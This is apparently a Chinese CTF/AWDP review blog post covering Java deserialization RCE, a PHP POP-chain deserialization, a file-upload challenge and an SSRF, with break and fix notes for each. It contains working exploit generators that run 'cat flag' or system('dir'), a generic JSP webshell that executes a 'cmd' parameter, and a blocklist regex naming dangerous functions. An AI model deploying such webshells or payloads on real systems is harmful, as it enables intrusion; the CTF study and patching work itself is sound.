前言

3.16号又要打AWDP了,去年10月的时候打省赛,AWDP被Java题按在地上锤,代码都还看不懂。这几天亡羊补牢一下。

由于我没有题目附件,这里只补充写写自己不懂的理论知识

ez_serialize

break

源码里涉及到了Spring Boot框架的代码知识:

现在通过这些源码恶补一下知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@PostMapping({"/read"})   //定义路由
@ResponseBody
public String serialize(@RequestParam(name = "data") String data) { //接受data字段,不论GET还是POST,送给data变量
try {
StringBuilder output = new StringBuilder();
if (data.isEmpty()) {
return "参数为空"; // 如果 `data` 为空,直接返回
} else {
output.append(data).append("\n");

// 解析 Base64 并反序列化
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(Base64.getDecoder().decode(data))
);
ois.readObject(); // 读取反序列化对象 (⚠️ 存在安全风险)
ois.close();

output.append(Flag.result); // (⚠️ `Flag.result` 可能是敏感数据)
return output.toString();
}
} catch (Exception var4) {
Exception e = var4;
return e.getMessage(); // 返回异常信息(可能会泄露系统信息)
}
}

见Flag.Class,这里的sn()方法可以RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private String sn() throws IOException, InterruptedException {
if (!this.arg) { // 如果 `arg` 为 false,直接返回 `command` 变量内容
return this.command;
} else {
ProcessBuilder builder = new ProcessBuilder(new String[]{"bash", "-c", this.command});
//执行命令,等同于bash -c "whoami"
Process process = builder.start();

//以下部分读取命令的标准输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;

while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

int exitCode = process.waitFor();
reader.close();

if (exitCode != 0) {
output.append("error command: ").append(this.command);
}

return output.toString();
}
}

private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException, InterruptedException {
in.defaultReadObject(); // 反序列化对象

if (this.methodName.equals("sn")) { //利用点:如果 methodName="sn",调用 sn()
result = this.sn(); //这里调用了sn()
}
}

所以这里只需要调用Flag类的readObject方法即可,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class EXP {
public static void main(String[] args) throws Exception {
Flag flag = new Flag();
Class c = Flag.class;
Field namefield = c.getDeclaredField("command");
namefield.setAccessible(true);
namefield.set(flag, "cat flag");

Field namefield2 = c.getDeclaredField("methodName");
namefield.setAccessible(true);
namefield.set(flag, "sn");

Field namefield = c.getDeclaredField("arg");
namefield.setAccessible(true);
namefield.set(flag, true);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
//ByteArrayOutputStream对象可以存储对象字节流
ObjectOutputStream oos = new ObjectOutputStream(baos);
//对象输出流对准baos对象
oos.writeObject(flag);
oos.close();

String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(payload)
}
}

fix

这里我还没弄懂这种class文件我要怎么修。

看别人的思路是把Flag的readObject函数给动点手脚:

image-20250312210719461

今天姬哥教了一招修复JAR包的方法,IDEA中有个插件叫做:JAREditor,启用后可以直接对.Class字节码进行修改,最后重构即可。

helloweb

这里补点新学到的知识:

源码一般下发一个jar包,我们简单了解一下Jar包的内容:

.idea目录:**.idea 目录** 是 JetBrains 系列 IDE(如 IntelliJ IDEA、PhpStorm、WebStorm、PyCharm) 用于存储 项目配置信息 的目录。人话:没啥用。

MANIFEST.MFMANIFEST.MFJava JAR 包的清单文件,用于存储 JAR 包的元信息(metadata)。它位于 JAR 包的 META-INF/ 目录下。

它指定了依赖路径JAR运行入口等信息。

image-20250313204355945

BOOT-INF:Spring Boot可执行JAR包的目录结构,存放代码。

例如:

1
2
3
4
5
6
myapp.jar
│── META-INF/ # 清单文件 `MANIFEST.MF`
│── BOOT-INF/
│ ├── classes/ # 应用的 `Java` 代码(`target/classes`)
│ ├── lib/ # 依赖的 JAR 文件
│── org/springframework/ # Spring Boot 运行时类

break

我记得这里是个文件上传题,具体的细节我忘了(我当时打出来了吗?)。

这里学下JSP木马(有回显):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>一句话木马</title>
</head>
<body>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine())!=null){
response.getWriter().print(line);
}
%>
</body>
</html>

神奇的个人信息录入系统

break

一开始有个任意文件读取漏洞,当时成功读到了源码,但链子没审出来。

只能说代码量有待提升。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
<?php
namespace App\Processor;

interface IProcess {
public function process();
}

abstract class BaseHandler {
public $functionName;
public $functionArgs;

public function __construct($functionName, $functionArgs = []) {
$this->functionName = $functionName;
$this->functionArgs = $functionArgs;
}

abstract public function execute();
}

class FileHandler extends BaseHandler {
private $isAllowed;

public function __construct($functionName, $functionArgs = [], $isAllowed = false) {
parent::__construct($functionName, $functionArgs);
$this->isAllowed = $isAllowed;
}

public function execute() {
if ($this->isAllowed) {
return call_user_func_array($this->functionName, $this->functionArgs);
}
return 'Execution not allowed';
}
}

class FileReader implements IProcess {
private $handler;
private $isReady;

public function __construct(FileHandler $handler, $isReady = false) {
$this->handler = $handler;
$this->isReady = $isReady;
}

public function process() {
if ($this->isReady) {
return $this->handler->execute();
}
return 'FileReader not ready';
}
}

class Action {
private $reader;
private $isInitialized;

public function __construct(FileReader $reader, $isInitialized = false) {
$this->reader = $reader;
$this->isInitialized = $isInitialized;
}

public function execute() {
if ($this->isInitialized) {
return $this->reader->process();
}
return 'Action not initialized';
}
}

class Task {
private $action;
private $isSet;

public function __construct(Action $action, $isSet = false) {
$this->action = $action;
$this->isSet = $isSet;
}

public function run() {
if ($this->isSet) {
return $this->action->execute();
}
return 'Task not set';
}
}

class Processor {
private $task;
private $isConfigured;

public function __construct(Task $task, $isConfigured = false) {
$this->task = $task;
$this->isConfigured = $isConfigured;
}

public function process() {
if ($this->isConfigured) {
return $this->task->run();
}
return 'Processor not configured';
}
}
class Configurator {
private $config;

public function __construct($config) {
$this->config = $config;
}

public function getConfig() {
return $this->config;
}

public function setConfig($config) {
$this->config = $config;
}

private function internalConfig() {
return 'Configurator internal config';
}
}

class MainProcessor {
private $processor;
private $isEnabled;

public function __construct(Processor $processor, $isEnabled = false) {
$this->processor = $processor;
$this->isEnabled = $isEnabled;
}

public function run() {
if ($this->isEnabled) {
return $this->processor->process();
}
return 'MainProcessor not enabled';
}

public function __toString() {
return $this->run();
}
}

class DataContainer {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function getData() {
return $this->data;
}

public function setData($data) {
$this->data = $data;
}

private function hiddenData() {
return 'DataContainer hidden data';
}
}



class SettingsManager {
private $settings;

public function __construct($settings) {
$this->settings = $settings;
}

public function applySettings() {
return 'SettingsManager applying ' . $this->settings;
}

public function getSettings() {
return $this->settings;
}

public function setSettings($settings) {
$this->settings = $settings;
}

private function privateSettings() {
return 'SettingsManager private settings';
}
}

class OptionHandler {
private $options;

public function __construct($options) {
$this->options = $options;
}

public function handleOptions() {
return 'OptionHandler handling ' . $this->options;
}

public function getOptions() {
return $this->options;
}

public function setOptions($options) {
$this->options = $options;
}

private function obscureOptions() {
return 'OptionHandler obscure options';
}
}

class FeatureController {
private $features;

public function __construct($features) {
$this->features = $features;
}

public function controlFeatures() {
return 'FeatureController controlling ' . $this->features;
}

public function getFeatures() {
return $this->features;
}

public function setFeatures($features) {
$this->features = $features;
}

private function specialFeatures() {
return 'FeatureController special features';
}
}

class Serializer {
public static function serialize($object) {
return base64_encode(serialize($object));
}

public static function deserialize($data) {
return unserialize(base64_decode($data));
}
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$data = $_GET['data'];
$object = Serializer::deserialize($data);
if ($object instanceof MainProcessor) {
echo $object->run();
} else {
echo "Invalid data or MainProcessor not enabled";
}
}
?>


复现的时候先别慌,分析下链子的出口:

image-20250312215926236

很明显是FileHandler#execute()

call_user_func()call_user_func_array()的区别:

1
2
call_user_func_array('system', [$_GET['cmd']]);
call_user_func('system', $_GET['cmd']);

当时可能被这一长串代码吓到了,实际上特别简单,只需利用每个类的构造函数即可触发RCE链子,而且在构造函数的传参中甚至有提示,链子思路:

1
2
3
4
5
6
7
8
9
10
11
FileHandler#execute($isAllowed=true, functionName=system, functionArgs=['dir'])

FileReader#process()

Action#execute()

Task#run()

Processor#process()

MainProcessor#run()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
<?php
namespace App\Processor;

interface IProcess {
public function process();
}

abstract class BaseHandler {
public $functionName;
public $functionArgs;

public function __construct($functionName, $functionArgs = []) {
$this->functionName = $functionName;
$this->functionArgs = $functionArgs;
}

abstract public function execute();
}

class FileHandler extends BaseHandler {
private $isAllowed;

public function __construct($functionName, $functionArgs = ['dir'], $isAllowed = true) {
parent::__construct($functionName, $functionArgs);
$this->isAllowed = $isAllowed;
}

public function execute() {
if ($this->isAllowed) {
echo '函数调用成功!';
return call_user_func_array($this->functionName, $this->functionArgs);
}
return 'Execution not allowed';
}
}

class FileReader implements IProcess {
private $handler;
private $isReady;

public function __construct(FileHandler $handler, $isReady = true) {
$this->handler = $handler;
$this->isReady = $isReady;
}

public function process() {
if ($this->isReady) {
return $this->handler->execute();
}
return 'FileReader not ready';
}
}

class Action {
private $reader;
private $isInitialized;

public function __construct(FileReader $reader, $isInitialized = true) {
$this->reader = $reader;
$this->isInitialized = $isInitialized;
}

public function execute() {
if ($this->isInitialized) {
return $this->reader->process();
}
return 'Action not initialized';
}
}

class Task {
private $action;
private $isSet;

public function __construct(Action $action, $isSet = true) {
$this->action = $action;
$this->isSet = $isSet;
}

public function run() {
if ($this->isSet) {
return $this->action->execute();
}
return 'Task not set';
}
}

class Processor {
private $task;
private $isConfigured;

public function __construct(Task $task, $isConfigured = true) {
$this->task = $task;
$this->isConfigured = $isConfigured;
}

public function process() {
if ($this->isConfigured) {
return $this->task->run();
}
return 'Processor not configured';
}
}
class Configurator {
private $config;

public function __construct($config) {
$this->config = $config;
}

public function getConfig() {
return $this->config;
}

public function setConfig($config) {
$this->config = $config;
}

private function internalConfig() {
return 'Configurator internal config';
}
}

class MainProcessor {
private $processor;
private $isEnabled;

public function __construct(Processor $processor, $isEnabled = true) {
$this->processor = $processor;
$this->isEnabled = $isEnabled;
}

public function run() {
if ($this->isEnabled) {
return $this->processor->process();
}
return 'MainProcessor not enabled';
}

public function __toString() {
return $this->run();
}
}

class DataContainer {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function getData() {
return $this->data;
}

public function setData($data) {
$this->data = $data;
}

private function hiddenData() {
return 'DataContainer hidden data';
}
}



class SettingsManager {
private $settings;

public function __construct($settings) {
$this->settings = $settings;
}

public function applySettings() {
return 'SettingsManager applying ' . $this->settings;
}

public function getSettings() {
return $this->settings;
}

public function setSettings($settings) {
$this->settings = $settings;
}

private function privateSettings() {
return 'SettingsManager private settings';
}
}

class OptionHandler {
private $options;

public function __construct($options) {
$this->options = $options;
}

public function handleOptions() {
return 'OptionHandler handling ' . $this->options;
}

public function getOptions() {
return $this->options;
}

public function setOptions($options) {
$this->options = $options;
}

private function obscureOptions() {
return 'OptionHandler obscure options';
}
}

class FeatureController {
private $features;

public function __construct($features) {
$this->features = $features;
}

public function controlFeatures() {
return 'FeatureController controlling ' . $this->features;
}

public function getFeatures() {
return $this->features;
}

public function setFeatures($features) {
$this->features = $features;
}

private function specialFeatures() {
return 'FeatureController special features';
}
}

class Serializer {
public static function serialize($object) {
return base64_encode(serialize($object));
}

public static function deserialize($data) {
return unserialize(base64_decode($data));
}
}

$fileHandler = new FileHandler("system", ["dir"], true);
$filereader = new FileReader($fileHandler, true);
$action = new Action($filereader);
$task = new Task($action);
$processor = new Processor($task);
$mainProcessor = new MainProcessor($processor);
echo(base64_encode(serialize($mainProcessor)));

?>

fix

把过滤函数加载反序列化操作的后面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Serializer {
public static function serialize($object) {
return base64_encode(serialize($object));
}

public static function deserialize($data) {
$res = base64_decode($data);

if(preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_serv
er|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|
chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_res
tore/i", $res)) {
exit();
}

return $res;
}
}

readfile

break

超级简单,一个file协议打SSRF就能读到flag。

fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@PostMapping({"/read"})
@ResponseBody
public String readFile(String url) {
try {
if (url.isEmpty()) {
return "Empty URL";
} else {
StringBuilder html = new StringBuilder();
html.append(url).append("\n");
URL uri = new URL(url);
URLConnection urlConnection = uri.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));

String inputLine;
while((inputLine = in.readLine()) != null) {
html.append(inputLine);
}

in.close();
return html.toString();
}
} catch (Exception var7) {
Exception e = var7;
return e.getMessage();
}
}

这是一串典型的Java代码引起的SSRF。